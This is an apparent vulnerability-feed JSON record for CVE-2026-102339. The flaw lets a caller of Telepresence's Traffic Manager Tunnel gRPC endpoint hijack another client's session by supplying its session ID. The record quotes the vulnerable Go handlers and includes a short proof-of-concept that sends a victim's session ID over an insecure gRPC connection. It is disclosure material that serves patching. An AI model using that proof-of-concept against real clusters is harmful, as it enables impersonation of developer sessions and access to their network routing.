{"vuln_id":"CVE-2026-102339","aliases":["GHSA-6j3h-rp73-6rvf"],"description":"Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable","published_at":"2026-11-09T21:58:00Z","modified_at":"2026-11-23T20:30:12.133961Z","first_seen_at":"2026-11-23T21:06:31.525524Z","severity":"high","severity_source":"native","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":["CWE-639"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00419,"epss_percentile":0.36962,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-102339"},"matched_alias":null,"items":[{"id":16660,"source":{"id":"osv","name":"OSV.dev"},"title":"GO-2026-6946: Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable in github.com/telepresenceio/telepresence","summary":"Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable in github.com/telepresenceio/telepresence\n\nAffected: Go:github.com/telepresenceio/telepresence/v2\n\nFixed in: 2.31.0\n\nReferences:\nhttps://github.com/telepresenceio/telepresence/security/advisories/GHSA-6j3h-rp73-6rvf\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-102339\nhttps://github.com/telepresenceio/telepresence/commit/1312482488b771742dbedd3015f9a81a27532de6\nhttps://github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9\nhttps://github.com/telepresenceio/telepresence/pull/4217\nhttps://github.com/telepresenceio/telepresence/releases/tag/v2.31.0","url":"https://osv.dev/vulnerability/GO-2026-6946","published_at":"2026-11-23T20:02:42Z","updated_at":"2026-11-23T20:30:12.133961Z","fetched_at":"2026-11-23T21:06:31.109652Z","severity":"high","cvss_score":8.2,"epss":0.00419,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/telepresenceio/telepresence/v2","vuln_id":"CVE-2026-102339","vuln_ids":["CVE-2026-102339","GHSA-6J3H-RP73-6RVF","GO-2026-6946"],"tags":["osv","go","fix-available"],"cluster_id":14713,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/16660","html":"https://vulnwatch.ve1ve2.com/item/16660"}},{"id":16560,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-6j3h-rp73-6rvf: Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable","summary":"Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof — active client sessions hijackable\n\n## Summary\n\nThe Traffic Manager `Tunnel` gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4.\n\n## Details\n\nThe `Tunnel` handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call:\n\n```go\n// cmd/traffic/cmd/manager/service.go:1057-1063\nfunc (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error {\n    stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server)\n    return s.state.Tunnel(ctx, stream)  // stream.SessionID() is client-controlled\n}\n```\n\n`state.Tunnel` looks up the session ID in the sessions map with no ownership proof:\n\n```go\n// cmd/traffic/cmd/manager/state/state.go:698-703\nfunc (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error {\n    id := stream.SessionID()   // from client payload bytes\n    if cs, ok := s.clients.Load(id); ok {\n        return s.clientTunnel(ctx, cs, stream)  // full dialer granted\n    }\n    return grpcErrors.Errorf(codes.NotFound, ...)\n}\n```\n\nThe session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214).\n\n## Proof of Concept\n\nPrecondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either).\n\n```go\nconn, _ := grpc.NewClient(\"traffic-manager.ambassador:8081\",\n    grpc.WithTransportCredentials(insecure.NewCredentials()))\nmgr := rpc.NewManagerClient(conn)\n\ntunnelStream, _ := mgr.Tunnel(ctx)\n\n// Send StreamInfo with victim session ID in payload\ntunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)})\n\n// Traffic Manager routes tunnel traffic for victimSessionID\n// through this attacker-controlled bidirectional stream\n```\n\n## Impact\n\nA caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can\ncreate their own sessions and pivot to impersonate active developer sessions.\n\nAffected: Go:github.com/telepresenceio/telepresence/v2\n\nFixed in: 2.31.0\n\nReferences:\nhttps://github.com/telepresenceio/telepresence/security/advisories/GHSA-6j3h-rp73-6rvf\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-102339\nhttps://github.com/telepresenceio/telepresence/pull/4217\nhttps://github.com/telepresenceio/telepresence/commit/1312482488b771742dbedd3015f9a81a27532de6\nhttps://github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9\nhttps://github.com/telepresenceio/telepresence\nhttps://github.com/telepresenceio/telepresence/releases/tag/v2.31.0","url":"https://osv.dev/vulnerability/GHSA-6j3h-rp73-6rvf","published_at":"2026-11-09T21:58:00Z","updated_at":"2026-11-09T22:15:03.915094Z","fetched_at":"2026-11-23T21:06:31.109564Z","severity":"high","cvss_score":8.2,"epss":0.00419,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/telepresenceio/telepresence/v2","vuln_id":"CVE-2026-102339","vuln_ids":["CVE-2026-102339","GHSA-6J3H-RP73-6RVF"],"tags":["osv","go","fix-available"],"cluster_id":14712,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/16560","html":"https://vulnwatch.ve1ve2.com/item/16560"}}]}